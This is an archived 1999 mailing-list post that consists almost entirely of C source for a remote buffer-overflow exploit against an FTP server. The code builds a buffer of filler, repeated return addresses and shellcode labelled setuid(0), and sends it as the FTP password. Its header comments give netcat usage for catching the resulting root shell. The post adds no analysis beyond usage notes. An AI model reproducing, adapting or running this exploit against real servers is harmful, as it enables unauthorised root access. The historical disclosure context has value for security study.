Found This In My Little Sister's Bag

From: Fleur Marty (fleurat_private)
Date: Wed Sep 01 1999 - 07:53:33 PDT

  • Next message: Seva Gluschenko: "Re: Root shell vixie cron exploit"

    Elias sorry if you had this twice...
    
    /*
    ** code-sky-chocolate: flaoua
    ** keyboard handler: kalou.
    **
    ** usage: nc -l -p 1509 &
    ** (./p welcome.msg 195,3,2,83,5,229 -100 1016 ; cat ) | nc host 21
    **
    ** tester avec buf == 1018, 1019, 1020, 1021
    ** a cause de l'alignement hostname+chemin ~ftp+taille fichier
    ** (voir xferlog)
    */
    #include <stdio.h>
    #include <string.h>
    void add_reg(char *addr, char reg)
    {
    sprintf(addr + strlen(addr), "%c", reg);
    if (reg == (char) 0xff)
    sprintf(addr + strlen(addr), "%c", reg);
    }
    char *make_ret_addr(int ret)
    {
    unsigned char a1;
    unsigned char a2;
    unsigned char a3;
    unsigned char a4;
    char ret_addr[17];
    a4 = (ret & 0xff000000) >> 24;
    a3 = (ret & 0x00ff0000) >> 16;
    a2 = (ret & 0x0000ff00) >> 8;
    a1 = (ret & 0x000000ff);
    strcpy(ret_addr, "");
    add_reg(ret_addr, a1);
    add_reg(ret_addr, a2);
    add_reg(ret_addr, a3);
    add_reg(ret_addr, a4);
    return strdup(ret_addr);
    }
    char *make_buffer(int bytes, int ret_addr)
    {
    int count;
    char code[] =
    "\x52\x65\x6d\x6f\x76\x65\x20\x6d\x20" /* (to avoid a segfault) */
    "\x90\x90\x90\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
    "\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39\xf3\x7c\x07\x80"
    "\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46"
    "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e"
    "\x31\xc9\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31"
    "\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x31\xc0\x88\x46\x03"
    "\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09\x89"
    "\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d"
    "\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"
    "\xe8\x95\xff\xff\xff\xff\xff\xff\x43\x43\x30\x30\x31"
    "\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a";
    int *ret;
    int size;
    static char *buf;
    static char *addr;
    addr = make_ret_addr(ret_addr);
    size = bytes + 64 * (strlen(addr) - 4);
    buf = (char *) malloc(size);
    if (buf == (char *) NULL)
    return (char *) NULL;
    for (count = 0; count < size; count ++) {
    *(buf + count) = 0xb8;
    }
    memcpy(buf + size - strlen(code) - 64 * strlen(addr), code, strlen(code));
    for (count = 64; count > 0; count--) {
    memcpy(buf + size - count * strlen(addr), addr, strlen(addr));
    }
    *(buf + size) = '\0';
    return buf;
    }
    main(int argc, char **argv)
    {
    int bufsize = 1016;
    int ret_addr = 0xbffff770;
    if (argc > 3) {
    ret_addr += atoi(argv[3]);
    }
    if (argc > 4) {
    bufsize = atoi(argv[4]);
    }
    fprintf(stderr, "ret_addr %p - size %d.\n", ret_addr, bufsize);
    printf("user ftp\n");
    printf("pass %s\n", make_buffer(bufsize, ret_addr));
    printf("nop\nnop\n");
    printf("port %s\n", argv[2]?argv[2]:"127,0,0,1,5,228\n");
    printf("retr %s\n", argv[1]?argv[1]:"README");
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:01:11 PDT